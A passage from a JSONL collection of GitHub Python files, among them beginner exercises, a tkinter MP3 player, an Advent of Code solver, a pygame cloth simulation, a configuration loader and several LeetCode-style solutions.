len(list_param[i+1]) > len(maximum):\n maximum = list_param[i+1]\n return maximum\n\nsentence = \"Write a function that prints the longest word in a list\".split(' ')\nprint(sentence)\nprint(longuest_word(sentence))\n\n# Exercise 11\n# Instructions\n# Given a list of integers and strings, put all the integers in one list,\n# and all the strings in another one.\n\n# Exercise 12 Palidrome\n\n\ndef is_palindrome(word):\n if word == word[::-1]:\n return True\n else:\n return False\n\nprint(is_palindrome('radar'))\nprint(is_palindrome('John'))\n\n# Exercise 13 Write a function that returns the amount of words\n# in a sentence with length > k:\n# >>>sentence = 'Do or do not there is no try'\n# >>>k=2\n# >>>sum_over_k(sentence,k)\n# >>>3\n\ndef sum_over_k(sentence, k):\n count = 0\n sentence_to_list = sentence.split(\" \")\n for word in sentence_to_list:\n if len(word) > k:\n count += 1\n return count\n\nsentence = 'Do or do not there is no try'\nk = 2\nprint(sum_over_k(sentence, k))\n\n\n# Exercise 14 Write a function that returns the average value\n# in a dictionary (assume the values are numeric):\n# >>>dict_avg({'a': 1,'b':2,'c':8,'d': 1})\n# >>>3\n\ndef dict_avg(dict_param):\n sum_values = 0\n items = 0\n for key, value in dict_param.items():\n sum_values += value\n items += 1\n return sum_values / items\n\n\nprint(dict_avg({'a': 1,'b':2,'c':8,'d': 1}))\n\n# Exercise 15 Write a function that returns common divisors of 2 numbers:\n# >>>common_div(10,20)\n# >>>[2,5,10]\n\n\ndef common_div(num1, num2):\n divisors = []\n lower_num = min(num1, num2)\n higher_num = max(num1, num2)\n for i in range(2, lower_num+1):\n if lower_num % i == 0 and higher_num % i == 0:\n divisors.append(i)\n return divisors\n\nprint(common_div(30, 60))\n\n\n# Exercise 16\n# Instructions\n# Write a function that test if a number is prime.\n# >>>is_prime(11)\n# >>>True\ndef is_prime(num):\n divisors = []\n for i in range(2, num):\n if num % i == 0:\n divisors.append(num)\n if len(divisors) == 0:\n return True\n else:\n return False\n\nprint(is_prime(23))\n\n# Exercise 17\n# Instructions\n# Write a function that prints elements of a list\n# if the index and the value are even:\n# >>>weird_print([1,2,2,3,4,5])\n# >>>[2,4]\n\n\ndef weird_print(list_param):\n weird_list = []\n for i in range(len(list_param)):\n if i % 2 == 0 and list_param[i] % 2 == 0:\n weird_list.append(list_param[i])\n return weird_list\n\n\nprint(weird_print([1,2,2,3,4,5]))\n\n\n# Exercise 18\n# Instructions\n# Write a function that accepts an undefined number of keyworded\n# arguments and return the count of different types:\n# >>>type_count(a=1,b='string',c=1.0,d=True,e=False)\n# >>>int: 1, str:1 , float:1, bool:2\n\ndef type_count(**kwargs):\n type_values = {}\n values_list = []\n freq = {}\n for key, value in kwargs.items():\n type_values[key] = type(value)\n for value in type_values.values():\n values_list.append(value)\n for item in values_list:\n if item in freq:\n freq[item] += 1\n else:\n freq[item] = 1\n return freq\n\n\nprint(type_count(a=1,b='string',c=1.0,d=True,e=False))\n\n\n# Exercise 19 mimics the split function\n\nprint(\"word/show\".split(\"/\"))\n\n\ndef split_mimic(string_param, separator=' '):\n list_param = []\n for i in range(len(string_param)):\n if string_param[i] == separator:\n list_param.append(string_param[:i])\n i += 1\n return list_param\nprint(split_mimic(\"word show again\", \" \"))\n\n\n\n# Exercise 20 Convert a string into password format\n\ndef convert_to_password(word):\n print('*'*len(word))\n\nconvert_to_password(word=\"mypassword\")\n\n\n\n","repo_name":"gbedad/diexs","sub_path":"week_7/pythonProject/day_5/challenges1.py","file_name":"challenges1.py","file_ext":"py","file_size_in_byte":7449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"32462230943","text":"from tkinter import *\nfrom tkinter import filedialog\nimport pygame\nimport time\nfrom mutagen.mp3 import MP3\nimport tkinter.ttk as ttk\n\nroot =Tk()\nroot.title(\"Rspotify\")\nroot.geometry(\"500x400\")\n\n#initialize pygame\npygame.mixer.init()\n\n#craete a function to deal with time\ndef play_time():\n #check to see if song is stopped\n if stopped:\n return \n\n #grab curr song time\n current_time = pygame.mixer.music.get_pos() / 1000\n #convert song time to time format\n converted__current_time=time.strftime('%M:%S', time.gmtime(current_time))\n #reconstruct song with dir structure stuff\n song = playlist_box.get(ACTIVE)\n song =f'D:/mp3/audio/{song}.mp3'\n #find curr song length\n song_mut = MP3(song)\n global song_length\n song_length = song_mut.info.length\n #convert to time format\n converted_song_length = time.strftime('%M:%S', time.gmtime(song_length))\n \n #check to see if song is over\n if int(song_slider.get()) == int(song_length):\n stop()\n #check to see if paused, if so pass \n elif paused:\n pass\n \n else:\n #Move slider along one sec at a time\n next_time = int(song_slider.get()) + 1\n #o/p new time value to slider and to length of a song\n song_slider.config(to=song_length,value=next_time)\n\n #convert slider pos to time format\n converted__current_time=time.strftime('%M:%S', time.gmtime(int(song_slider.get())))\n\n #o/p slider\n status_bar.config(text=f'Time Elapsed: {converted__current_time} of {converted_song_length} ')\n\n\n #add curr time to status bar\n if(current_time>=1):\n status_bar.config(text=f'Time Elapsed: {converted__current_time} of {converted_song_length} ')\n #create loop to check the time every second\n status_bar.after(1000,play_time)\n\n#add 1 song to playlist\ndef add_song():\n song = filedialog.askopenfilename(initialdir='audio/', title=\"Choose A Song\", filetype=((\"mp3 Files\", \"*.mp3\"), ) )\n #my_label.config(text=song)\n #strip out dir structure and .mp3 from song\n song=song.replace(\"D:/mp3/audio/\", \"\")\n song=song.replace(\".mp3\", \"\")\n #add to end of playlist\n playlist_box.insert(END, song)\n\n\n#add many songs to playlist\ndef add_many_song():\n songs = filedialog.askopenfilenames(initialdir='audio/', title=\"Choose A Song\", filetype=((\"mp3 Files\", \"*.mp3\"), ) )\n #my_label.config(text=song)\n\n #loop through song list and replace directory structure mp2 from song name\n for song in songs:\n #strip out dir structure and .mp3 from song\n song=song.replace(\"D:/mp3/audio/\", \"\")\n song=song.replace(\".mp3\", \"\")\n #add to end of playlist\n playlist_box.insert(END, song)\n\n#create a func to del a song from playlist\ndef delete_song():\n #delete highlighted song from playlist\n playlist_box.delete(ANCHOR)\n\n#create a func to del all song from playlist\ndef delete_all_song():\n #del all songs\n playlist_box.delete(0, END)\n\ndef play():\n #set stopped to False since a song is now playing \n global stopped \n stopped = False\n #reconstruct song with dir structure stuff\n song = playlist_box.get(ACTIVE)\n song =f'D:/mp3/audio/{song}.mp3'\n #my_label.config(text=song)\n\n #play song woth pygame mixer\n pygame.mixer.music.load(song)\n #play a sing with pygame mixer\n pygame.mixer.music.play(loops=0)\n #get song time\n play_time()\n\n#create stopped var\nglobal stopped\nstopped = False\n#create stop function\ndef stop():\n #stop a song\n pygame.mixer.music.stop()\n #clear playlist bar\n playlist_box.selection_clear(ACTIVE)\n status_bar.config(text='')\n #set slider value to 0\n song_slider.config(value=0)\n #set stop var to true\n global stopped\n stopped = True\n\n#create fun to play the next song\ndef forward():\n #reset slider pos and status bar\n status_bar.config(text='')\n song_slider.config(value=0)\n #get current song number\n next_one=playlist_box.curselection()\n #my_label.config(text=next_one)\n #add one to the current song number\n next_one=next_one[0] + 1 \n #grab the song title from playlist \n song = playlist_box.get(next_one)\n #add directory structure stuff to the song \n song =f'D:/mp3/audio/{song}.mp3'\n #play song woth pygame mixer\n pygame.mixer.music.load(song)\n #play a sing with pygame mixer\n pygame.mixer.music.play(loops=0)\n #clear acrive bar in playlist\n playlist_box.selection_clear(0,END)\n #move active bar to next song\n playlist_box.activate(next_one)\n #set active bar to next song \n playlist_box.selection_set(next_one,last=None)\n\ndef previous():\n #reset slider pos and status bar\n status_bar.config(text='')\n song_slider.config(value=0)\n #get current song number\n next_one=playlist_box.curselection()\n #my_label.config(text=next_one)\n #add one to the current song number\n next_one=next_one[0] - 1 \n #grab the song title from playlist \n song = playlist_box.get(next_one)\n #add directory structure stuff to the song \n song =f'D:/mp3/audio/{song}.mp3'\n #play song woth pygame mixer\n pygame.mixer.music.load(song)\n #play a sing with pygame mixer\n pygame.mixer.music.play(loops=0)\n\n #clear acrive bar in playlist\n playlist_box.selection_clear(0,END)\n #move active bar to next song\n playlist_box.activate(next_one)\n #set active bar to next song \n playlist_box.selection_set(next_one,last=None)\n\n#create paused var\nglobal paused \npaused = False\n\n#create pause function\ndef pause(is_paused):\n global paused\n paused = is_paused\n\n if paused:\n #unpause\n pygame.mixer.music.unpause()\n paused=False\n else:\n #pause\n pygame.mixer.music.pause()\n paused=True\n\n#create vol func\ndef volume(x):\n pygame.mixer.music.set_volume(volume_slider.get())\n\n#create slide func for song pos\ndef song_slide(x):\n #reconstruct song with dir structure stuff\n song = playlist_box.get(ACTIVE)\n song =f'D:/mp3/audio/{song}.mp3'\n #my_label.config(text=song)\n\n #play song with pygame mixer\n pygame.mixer.music.load(song)\n #play a sing with pygame mixer\n pygame.mixer.music.play(loops=0, start=song_slider.get())\n\n#Create main frame\nmain_frame=Frame(root)\nmain_frame.pack(pady=20)\n\n#create playlist box\nplaylist_box=Listbox(main_frame, bg=\"yellow\", fg=\"green\", width=60, selectbackground=\"green\", selectforeground=\"yellow\")\nplaylist_box.grid(row=0,column=0)\n\n#Create volume slider frame\nvolume_frame = LabelFrame(main_frame, text=\"Volume\")\nvolume_frame.grid(row=0,column=1,padx=20)\n\n#create volume slider \nvolume_slider=ttk.Scale(volume_frame,from_=1, to=0,orient=VERTICAL,value=1,length=125,command=volume)\nvolume_slider.pack(pady=10)\n\n#create song slider\nsong_slider = ttk.Scale(main_frame,from_=0, to=100,orient=HORIZONTAL,value=0,length=360,command=song_slide)\nsong_slider.grid(row=2,column=0,pady=20)\n\n#define button images for controls\nback_btn_img=PhotoImage(file='images/back.png ')\nforward_btn_img=PhotoImage(file='images/forward.png')\nplay_btn_img=PhotoImage(file='images/play.png')\npause_btn_img=PhotoImage(file='images/pause.png')\nstop_btn_img=PhotoImage(file='images/stop.png')\n\n#create button frame\ncontrol_frame=Frame(main_frame)\ncontrol_frame.grid(row=1,column=0,pady=20)\n\n#create play/pause etc button \nback_button=Button(control_frame, image=back_btn_img,borderwidth=0,command=previous)\nplay_button=Button(control_frame, image=play_btn_img,borderwidth=0, command=play)\npause_button=Button(control_frame, image=pause_btn_img,borderwidth=0, command=lambda: pause(paused))\nstop_button=Button(control_frame, image=stop_btn_img,borderwidth=0 , command=stop)\nforward_button=Button(control_frame, image=forward_btn_img,borderwidth=0, command=forward)\n\nback_button.grid(row=0,column=0,padx=10)\nforward_button.grid(row=0,column=4,padx=10)\nplay_button.grid(row=0,column=1,padx=10)\npause_button.grid(row=0,column=2,padx=10)\nstop_button.grid(row=0,column=3,padx=10)\n\n#create menu\nmy_menu = Menu(root)\nroot.config(menu=my_menu)\n\n#create add song menu dropdown\nadd_song_menu=Menu(my_menu, tearoff=0)\nmy_menu.add_cascade(label=\"Add Songs\",menu=add_song_menu)\n#add one song to playlist\nadd_song_menu.add_command(label=\"Add one song to playlist\",command=add_song)\n#add many song to playlist\nadd_song_menu.add_command(label=\"Add multiple songs to playlist\",command=add_many_song)\n\n#Create delete song menu dropdowns\nremove_song_menu = Menu(my_menu, tearoff=0)\nmy_menu.add_cascade(label=\"Remove Songs\", menu = remove_song_menu)\nremove_song_menu.add_command(label=\"Delete A Song From Playlist\", command=delete_song)\nremove_song_menu.add_command(label=\"Delete All Song From Playlist\", command=delete_all_song)\n\n#create status bar\nstatus_bar = Label(root, text='', bd=1, relief=GROOVE, anchor=E)\nstatus_bar.pack(fill=X, side=BOTTOM, ipady=2)\n\n\n\n#Temporary label\nmy_label = Label(root, text=\"\")\nmy_label.pack(pady=20)\n\nroot.mainloop()","repo_name":"rahulravisankar1108/MP3-player","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":8915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40250951093","text":"from collections import defaultdict, Counter\n\nwith open(\"input\", \"r\") as f:\n#with open(\"t\", \"r\") as f:\n lines = [line for line in f.read().split(\"\\n\\n\")]\n\npolymer = lines[0]\n\nreactions = defaultdict(lambda: \"\")\n\nfor reaction in [chem.split(\" -> \") for chem in lines[1].strip().split(\"\\n\")]:\n reactions[reaction[0]] = reaction[1]\n\ncount = Counter()\n\ndef split(chain):\n parts = []\n for i in range(2, len(chain) + 1):\n parts.append(chain[i - 2: i])\n return (parts)\n\n# Populate the dictionary\nfor snip in split(polymer):\n count[snip] += 1\n\nfor i in range(40):\n counter_aux = Counter()\n for pair in count:\n counter_aux[pair[0] + reactions[pair]] += count[pair]\n counter_aux[reactions[pair] + pair[1]] += count[pair]\n count = counter_aux\n\nchar_freq = Counter()\nfor pair in count:\n char_freq[pair[0]] += count[pair]\n\n# Must count the final character\nchar_freq[polymer[-1]] += 1\n\nprint(max(char_freq.values()) - min(char_freq.values()))\n","repo_name":"EnriqueSLeeK/Advent-of-Code","sub_path":"2021/14 day/phase_2/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29508406338","text":"'''\nFutures data updates script, all futures contracts\n'''\n#import os, sys, inspect\n\n# realpath() will make your script run, even if you symlink it :)\n# cmd_folder = os.path.realpath(os.path.abspath(os.path.split(inspect.getfile(inspect.currentframe()))[0]))\n# if cmd_folder not in sys.path:\n# sys.path.insert(0, cmd_folder)\n#\n# # Use this if you want to include modules from a subfolder\n# cmd_subfolder = os.path.realpath(\n# os.path.abspath(os.path.join(os.path.split(inspect.getfile(inspect.currentframe()))[0], \"subfolder\")))\n# if cmd_subfolder not in sys.path:\n# sys.path.insert(0, cmd_subfolder)\n\nfrom tmqrscripts.historical_options.import_options_data import *\n\n#run_all_options()\n\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--instrument\", help=\"an instrument you want to backfill\", type=str)\nargs = parser.parse_args()\n\nif args.instrument is None:\n print('run all')\n run_full_options()\nelse:\n print('run ',args.instrument)\n run_full_options_selected_instrument(args.instrument)\n","repo_name":"trendmanagement/Tmqr-framework-2","sub_path":"tmqrscripts/historical_options/run_all_history_options_update.py","file_name":"run_all_history_options_update.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"10862477653","text":"'''\nWrite a function that will check list of the options, that should be marked/checked in the dropdown list and mark them.\nAdd an additional verification if user wants to mark All options\n'''\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom webdriver_manager.chrome import ChromeDriverManager\n\n\ndef select_all_values(options_list, value):\n if not value[0].lower() == 'all':\n for ele in drop_list:\n for k in range(len(value)):\n if ele.text == value[k]:\n ele.click()\n break\n else:\n try:\n for ele in options_list:\n ele.click()\n except Exception as e:\n print(e)\n\n\ndriver = webdriver.Chrome(ChromeDriverManager().install())\ndriver.get('https://www.jqueryscript.net/demo/Drop-Down-Combo-Tree/')\n\ndriver.find_element(By.ID, 'justAnInputBox').click()\n\ndrop_list = driver.find_element(By.CSS_SELECTOR, 'span.comboTreeItemTitle')\nvalues_list = ['all']\n# values_list = ['choice 2', 'choice 3', 'choice 6 2 1']\n\nselect_all_values(drop_list, values_list)\n","repo_name":"AlexNovsky/Interview_tasks","sub_path":"SelectAllValuesInDropDownHandling.py","file_name":"SelectAllValuesInDropDownHandling.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"1703450070","text":"from doctest import REPORTING_FLAGS\nfrom ntpath import realpath\nimport yaml\nimport os\n#from config.config import ROOT_DIR\n\n#print(__file__) #文件 当前路径\n# curpath = os.path.realpath(__file__)\n# # #print(curpath)\n# root_dir = os.path.dirname(os.path.dirname(curpath))#获取根文件路径\n# # print(root_dir)\n# yaml_path = os.path.join(root_dir,\"data\",\"test_data_login.yml\") #获取yaml文件路径\n# print(yaml_path)\n\ndef readyml(data_name):\n '''读取yaml文件内容\n 参数path: 相对路径，起始路径：项目的根目录\n realPath: 文件的真实路径,绝对路径地址 '''\n\n curpath = os.path.realpath(__file__)\n root_dir = os.path.dirname(os.path.dirname(curpath))#获取根文件路径\n #print(\"root_dir = %s\" %root_dir)\n yamlPath = os.path.join(root_dir,\"data\",data_name)\n #print(\"yaml_path = %s\" %yamlPath)\n\n if not os.path.isfile(yamlPath):\n raise FileNotFoundError(\"文件路径不存在，请检查路径是否正确：%s\" % yamlPath)\n # open方法打开直接读出来\n \n f = open(yamlPath, 'r', encoding='utf-8')\n cfg = f.read()\n d = yaml.safe_load(cfg)\n f.close()\n\n # 用load方法转字典\n #print(\"读取的测试文件数据：%s\"%d)\n return d\n\nif __name__ == '__main__':\n #yaml_path = os.path.join(root_dir,\"data\",\"sigin.yml\")\n data_name = \"check_data.yml\"\n d = readyml(data_name)\n print(d)\n\n\n\n","repo_name":"copyg/ezcloudgit","sub_path":"ezmanager/common/read_yaml.py","file_name":"read_yaml.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28426453445","text":"\nfrom bisect import insort, bisect_right\nfrom typing import List\nclass Solution:\n def findLeastGreater(self, n : int, arr : List[int]) -> List[int]:\n ans=[-1]*n\n temp=[]\n for i in range(n-1,-1,-1):\n insort(temp,arr[i])\n index=bisect_right(temp,arr[i])\n if index None:\n pass\n def Input(self,n):\n arr=[int(i) for i in input().strip().split()]#array input\n return arr\n def Print(self,arr):\n for i in arr:\n print(i,end=\" \")\n print()\n\n\nif __name__==\"__main__\":\n t = int(input())\n for _ in range(t):\n \n n = int(input())\n \n \n arr=IntArray().Input(n)\n \n obj = Solution()\n res = obj.findLeastGreater(n, arr)\n \n IntArray().Print(res)\n \n\n# } Driver Code Ends","repo_name":"GANJINAVEEN14161416/Leetcode_DSA","sub_path":"Replace every element with the least greater element on its right - GFG/replace-every-element-with-the-least-greater-element-on-its-right.py","file_name":"replace-every-element-with-the-least-greater-element-on-its-right.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36089434925","text":"import pygame\nfrom point import Point\nfrom mesh import ClothMesh\n\n# define constants\nWINDOW_TITLE = \"My Simulation\"\nWINDOW_SIZE = (800, 800)\nFPS = 60\n\n# initialize pygame\npygame.init()\n\n# create window\nwindow = pygame.display.set_mode(WINDOW_SIZE, pygame.RESIZABLE)\npygame.display.set_caption(WINDOW_TITLE)\n\nclock = pygame.time.Clock()\n\n# Game objects\nclothMesh = ClothMesh(topLeft=(200, 10), size=(22, 22))\n\nt = pygame.time.get_ticks()\nfont = pygame.font.SysFont(\"arial\", 20)\n# main loop\nrunning = True\nwhile running:\n # set frames per second\n clock.tick(FPS)\n dt = (pygame.time.get_ticks() - t) / 1000.0\n t = pygame.time.get_ticks()\n\n # handle inputs\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n # toggle fullscreen\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_f or event.key == pygame.K_RETURN:\n if window.get_flags() & pygame.FULLSCREEN:\n pygame.display.set_mode(WINDOW_SIZE, pygame.RESIZABLE)\n pygame.display.set_mode(WINDOW_SIZE, pygame.RESIZABLE)\n else:\n resolutions = pygame.display.list_modes()\n pygame.display.set_mode(resolutions[1], pygame.FULLSCREEN)\n elif event.key == pygame.K_r:\n clothMesh.reset()\n if pygame.mouse.get_pressed()[0]:\n clothMesh.isMouseDown = True\n else:\n clothMesh.isMouseDown = False\n\n clothMesh.update()\n\n # update the window\n pygame.display.flip()\n window.fill((0, 0 ,0))\n\n text = font.render(f\"{round(1/dt)} fps\", True, (255, 255, 255))\n window.blit(text, (0, 0))\n text = font.render(f\"press R to reset\", True, (255, 255, 255))\n window.blit(text, (0, 20))\n \n\npygame.quit()","repo_name":"starcreep48/cloth-simulation","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7137252758","text":"'''\nhedgeit.strategy.factory\n\nContains:\n Class StrategyFactory\n'''\n\nfrom trends import *\nfrom countertrends import *\n\nclass StrategyFactory(object):\n '''\n classdocs\n '''\n\n def __init__(self):\n pass\n\n factoryMethods = {}\n\n @classmethod\n def register(cls, name, method):\n StrategyFactory.factoryMethods[name] = method\n \n @classmethod\n def create(cls, name, barFeed, symbols = None, broker = None, cash = 1000000,\n compounding = True, parms = None):\n if not StrategyFactory.factoryMethods.has_key(name):\n raise Exception('No strategy %s registered' % name)\n return StrategyFactory.factoryMethods[name](barFeed, \n symbols = symbols,\n broker = broker,\n cash = cash,\n compounding = compounding,\n parms = parms)\n \nStrategyFactory.register('breakout', BreakoutStrategy)\nStrategyFactory.register('macross', MACrossStrategy)\n \nStrategyFactory.register('rsireversal', RSIReversalStrategy)\nStrategyFactory.register('connorsrsi', ConnorsRSIStrategy)\nStrategyFactory.register('split7s', Split7sStrategy)\nStrategyFactory.register('rsireversal2', RSIReversal2Strategy)\nStrategyFactory.register('cumrsi', CumRSIStrategy)\n ","repo_name":"wilki2021/hedgeit","sub_path":"hedgeit/strategy/factory.py","file_name":"factory.py","file_ext":"py","file_size_in_byte":1470,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"82"} +{"seq_id":"24718955569","text":"import math\n\ndef check_prime(n):\n root = math.floor(math.sqrt(n))\n for i in range(2,root + 1):\n if (n % i == 0):\n return False\n\n return True\n\nn = int(input())\n\nif(check_prime(n)):\n print(n,\"IS PRIME\")\nelse:\n print(n,\"IS NOT PRIME\")","repo_name":"BlackEagle12/CompititiveCoding","sub_path":"Begineer problem solving on python/Ans-4.py","file_name":"Ans-4.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3881457078","text":"\"\"\"\n Configuration file management\n If you want to create a new configuration create a class with type decorators, and register it\n\n @Configuration.register('foo')\n class Foo(Settings):\n class Bar(Settings):\n name: str\n id: int = 0\n\n name: str = Required\n number: int\n bars: list[Bar]\n\n This will load the following yaml file\n ---\n foo:\n name: \"hi\"\n bars:\n - name: \"mo\"\n id: 1\n - name: \"mi\"\n id: 2\n\n You can register settings as repeated and provide multiple documents, or even include other documents.\n\n @Configuration.register('bar', repeated=True)\n class Bar(Settings):\n name: str = Required\n\n ---\n bar:\n name: \"bar1\"\n ---\n bar:\n name: \"bar2\"\n #include \"some_other.yaml\"\n\"\"\"\nfrom typing import get_type_hints, get_origin, get_args\nfrom carla_utils.util import Printable\n\n__all__ = [\"Configuration\", \"Required\", \"Settings\"]\n\n\ndef load_file_with_include(fn):\n import re\n with open(fn, 'r') as f:\n return re.sub('\\#include +[\"<](.*)[\">]', lambda m: load_file_with_include(fn.parent / m.group(1)), f.read())\n\n\nclass ForAll:\n def __init__(self, objects):\n self._objects = objects\n\n def __getitem__(self, item):\n return ForAll([o[item] for o in self._objects])\n\n def __setitem__(self, key, value):\n for o in self._objects:\n o[key] = value\n\n def __getattr__(self, item):\n if item[0] != '_':\n return ForAll([getattr(o, item) for o in self._objects])\n\n def __setattr__(self, name, value):\n if name[0] == '_':\n return super().__setattr__(name, value)\n else:\n for o in self._objects:\n setattr(o, name, value)\n\n\nclass EllipsisList(list):\n def __getitem__(self, item):\n if item is ...:\n return ForAll(list(self))\n else:\n return super().__getitem__(item)\n\n\nclass Configuration:\n _all = {}\n\n @staticmethod\n def register(name, repeated=False):\n def _wrapper(cls):\n Configuration._all[name] = (cls, repeated)\n cls.__str__ = Printable.__str__\n return cls\n return _wrapper\n\n @staticmethod\n def _find(name):\n return Configuration._all[name][0] if name in Configuration._all else None\n\n @staticmethod\n def _is_repeated(name):\n return Configuration._all[name][1] if name in Configuration._all else None\n\n @staticmethod\n def _has(name):\n return name in Configuration._all\n\n @staticmethod\n def from_file(*fns):\n from pathlib import Path\n settings = []\n for fn in fns:\n fn = Path(fn)\n if fn.name.endswith('.json'):\n import json\n with open(fn, 'r') as f:\n settings.append(json.load(f))\n elif fn.name.endswith('.yaml'):\n import yaml\n settings.extend(list(yaml.load_all(load_file_with_include(fn), Loader=yaml.FullLoader)))\n else:\n raise ValueError('Unknown file extension for configuration \"%s\"' % fn.name)\n return Configuration.from_dict(*settings)\n\n @staticmethod\n def from_dict(*settings):\n r = Configuration()\n for o in settings:\n for k, v in o.items():\n tpe = Configuration._find(k)\n assert tpe is not None, 'No configuration found for {!r}'.format(k)\n if Configuration._is_repeated(k):\n if hasattr(r, k):\n getattr(r, k).append(tpe(**v))\n else:\n setattr(r, k, EllipsisList([tpe(**v)]))\n else:\n assert not hasattr(r, k), 'Multiple configurations for {!r} found'.format(k)\n setattr(r, k, tpe(**v))\n return r\n\n def validate(self):\n # Add default configs for the ones missing\n for k, (cls, repeated) in Configuration._all.items():\n if not hasattr(self, k):\n setattr(self, k, [] if repeated else cls())\n\n # Make sure all configs are complete\n for v in vars(self):\n if hasattr(v, 'validate'):\n v.validate()\n elif isinstance(v, list):\n for vv in v:\n if hasattr(vv, 'validate'):\n vv.validate()\n\n @staticmethod\n def add_argument(parser):\n parser.add_argument('--config', nargs='+', default=[])\n parser.add_argument('--config_override', nargs='+', default=[])\n\n @staticmethod\n def from_args(args):\n cfg = Configuration.from_file(*args.config)\n # TODO: override in a less hacky way\n for o in args.config_override:\n exec(o, {k: getattr(cfg, k) for k in vars(cfg)})\n cfg.validate()\n return cfg\n\n\nclass Required:\n pass\n\n\nclass Settings(Printable):\n def __init__(self, **kwargs):\n th = get_type_hints(self.__class__)\n for k, v in kwargs.items():\n if k in th:\n setattr(self, k, convert_to(v, th[k], type(self).__name__+'.'+k))\n assert hasattr(self, k), 'Unknown settings value {!s}.{!s}'.format(type(self).__name__, k)\n\n def validate(self):\n for k in vars(self.__class__):\n assert getattr(self, k) != Required, \"Required configuration value {!r} not specified\".format(k)\n\n\ndef convert_to(o, tpe, dname=''):\n # Make sure v is of decorated type tpe\n if tpe is None:\n return o\n if get_origin(tpe) == list:\n assert isinstance(o, list), 'Setting {!r} expected type {!r} got {!r} ({!r})'.format(dname, tpe, type(o), o)\n l_tpe, *_ = *get_args(tpe), None\n return [convert_to(i, l_tpe, dname) for i in o]\n if get_origin(tpe) == dict:\n assert isinstance(o, dict), 'Setting {!r} expected type {!r} got {!r} ({!r})'.format(dname, tpe, type(o), o)\n k_tpe, v_tpe, *_ = *get_args(tpe), None, None\n return {convert_to(k, k_tpe, dname + '.' + k): convert_to(v, v_tpe, dname + '.' + k) for k, v in o.items()}\n if isinstance(tpe, type) and issubclass(tpe, Settings):\n assert isinstance(o, dict), 'Setting {!r} expected type {!r} got {!r} ({!r})'.format(dname, dict, type(o), o)\n return tpe(**o)\n try:\n return tpe(o)\n except (ValueError, TypeError) as e:\n raise ValueError('Setting {!r} expected type {!r} got {!r} ({!r})'.format(dname, tpe, type(o), o))\n raise ValueError('Setting {!r} decorator not a type {!r}'.format(dname, tpe))\n","repo_name":"philkr/carla_utils","sub_path":"carla_utils/recording/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":6598,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"21864798314","text":"\"\"\"\nGiven an integer number n, return the difference between the product of its digits and the sum of its digits.\n\nExample 1:\n Input: n = 234\n Output: 15\nExplanation:\n Product of digits = 2 * 3 * 4 = 24\n Sum of digits = 2 + 3 + 4 = 9\n Result = 24 - 9 = 15\n\nExample 2:\n Input: n = 4421\n Output: 21\nExplanation:\n Product of digits = 4 * 4 * 2 * 1 = 32\n Sum of digits = 4 + 4 + 2 + 1 = 11\n Result = 32 - 11 = 21\n\nConstraints:\n 1 <= n <= 10^5\n\"\"\"\n\nfrom functools import reduce\n\n\nclass Solution:\n \"\"\"\n Runtime: 52 ms, faster than 5.52% of Python3\n Memory Usage: 14.4 MB, less than 9.83% of Python3\n \"\"\"\n\n def subtractProductAndSum(self, n: int) -> int:\n digits = [int(digit) for digit in str(n)]\n product = reduce(lambda a, b: a * b, digits)\n return product - sum(digits)\n\n\nclass Solution2:\n \"\"\"\n Runtime: 48 ms, faster than 7.21% of Python3\n Memory Usage: 14.3 MB, less than 9.83% of Python3\n \"\"\"\n\n def subtractProductAndSum(self, n: int) -> int:\n sum_ = 0\n product = 1\n for digit in str(n):\n sum_ += int(digit)\n product *= int(digit)\n return product - sum_\n\n\nclass Solution3:\n \"\"\"\n Using modulo to operate with least significant digit of a number at each iteration, then reducing problem on it.\n\n Runtime: 36 ms, faster than 14.42% of Python3\n Memory Usage: 14.1 MB, less than 69.64% of Python3\n \"\"\"\n\n def subtractProductAndSum(self, n: int) -> int:\n sum_ = 0\n product = 1\n while n:\n # e.g., for 234 last_digit will == 4 and n for next iteration will become 23\n last_digit = n % 10\n sum_ += last_digit\n product *= last_digit\n n //= 10\n return product - sum_\n\n\nif __name__ == '__main__':\n solutions = [Solution(), Solution2(), Solution3()]\n tc = (\n (234, 15),\n (4421, 21),\n (1, 0),\n (100000, -1),\n )\n for sol in solutions:\n for inp_n, exp_result in tc:\n assert sol.subtractProductAndSum(inp_n) == exp_result\n","repo_name":"niki4/leetcode_py3","sub_path":"easy/1281_subtract_the_product_and_sum_of_digits_of_an_integer.py","file_name":"1281_subtract_the_product_and_sum_of_digits_of_an_integer.py","file_ext":"py","file_size_in_byte":2097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"15727044232","text":"# -*- coding: utf-8 -*-\n\"\"\"\npytorch_custom_datasets.ipynb\n\n## PyTorch Custom Datasets\n\n## 0. Import PyTorch & Setting Up Device-Agnostic 